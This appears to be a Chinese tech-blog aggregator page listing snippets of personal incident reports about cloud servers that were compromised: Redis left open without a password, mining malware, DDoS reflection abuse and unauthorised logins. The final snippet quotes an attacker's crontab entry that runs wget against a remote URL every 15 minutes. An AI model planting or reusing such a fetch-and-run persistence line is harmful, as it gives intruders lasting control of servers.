記錄一次阿里雲服務器被攻擊的經歷
前些天買了阿里雲服務器，無奈最近沒空登錄。安裝了tomcat jdk maven mq jenkins 等幾個服務后，找了個以前做的項目在上面跑了下，沒問題后一周沒怎么登錄過。然后這幾天手機一直收到服務器在異地被登錄的消息，想想自己服務器什么也沒有，過幾天修改下密碼就行了吧，結果今天早上 ...
原文：記錄一次騰訊雲服務器被攻擊
前因 一如既往的開啟工作環境，發現redis中的數據都變成了backup，value也變成了一堆亂碼： 然后就是一頓百度下來，原因大致如下： 有人在嘗試通過redis來攻擊你的服務器 沒有設置密碼而將redis暴露到公網 然后打算上服務器看一下redis日志文件，發現使用cmder連接服務器時，發現操作很卡很緩慢，甚至根本就登錄不了服務器 過一會后，勉強登入服務器，但是登錄后提示了一句話： Th ...
2021-09-14 19:25 0 151 推薦指數：
相關推薦
記一次 騰訊雲tcp端口6379違規攻擊其他服務器解決過程
今天下午騰訊雲突然一條短信告訴我，我的服務器違規攻擊其他服務器，端口6379 遂趕緊登陸查看，發現這個端口是redis的默認端口，上周五為了學redis直接就默認安裝了，而且還沒設密碼 正常使用服務器流量是使用不了多少的，但是就24小時內流量統計告訴我服務器使用了120GB流量，肯定是中毒 ...
記錄一次騰訊雲服務器進挖礦病毒的事故
1.排查問題 下午登錄服務器，發現用了十幾秒才進入，使用top命令想看看是什么程序占用內存，找到了罪魁禍首。 2.解決問題 2.1定位病毒 1.使用top命令得出進程號（PID） 2.使用命令ls -l proc/{進程號}/exe得出文件位置 ...
記一次騰訊雲服務器被黑
應用服務器部署項目后，啟動怎么也訪問不了 查看日志 ERROR org.apache.curator.ConnectionState - Connection timed out for connection string (192.56.0.96:2181) and timeout ...
一次騰訊雲centos服務器被入侵的處理
昨天一大早，我還沒到公司呢，就收到騰訊雲安全中心發來的服務器異常登錄告警，登錄控制台一看，ip還是美國的，一臉懵逼。由於本人之前也沒有過處理服務器入侵的經驗，而且這台服務器目前還沒有部署商用系統，所以也就沒怎么在意，照着雲安全中心提示的可疑文件的位置，將其刪除，就這樣交差了。其實我知道 ...
記一次阿里雲服務器被用作DDOS攻擊肉雞
事件描述：阿里雲報警 ——檢測該異常事件意味着您服務器上開啟了"Chargen/DNS/NTP/SNMP/SSDP"這些UDP端口服務，黑客通過向該ECS發送偽造源IP和源端口的惡意UDP查詢包，迫使該ECS向受害者發起了UDP DDOS攻擊 源IP： xx.xx.xx.xx 源 ...
一次CentOS的服務器被攻擊教訓
某天，到公司，查看服務器。其中一台服務器的對外流量暴漲到了20Mbps（買的帶寬最大值），而這台服務器平時的流量都只是1Mbps之內。通過ssh，由於帶寬完全被占滿，幾乎連不進去了。只能找通過機房人員，讓他們把服務器流出帶寬限定在一定范圍內。服務器為CentOS6.5 查看歷史執行 ...
記一次服務器被攻擊事件
病毒清除 事情都解決了好多天，今天來總結一下，那天開發問數據備份沒有沒有拉到他們的那台服務器上，於是乎就去看了一下為什么定時任務沒有執行，看了之后，waht???我的定時任務全部沒了，NND 定時任務就只有一個:*/15 * * * * wget -q -O- http ...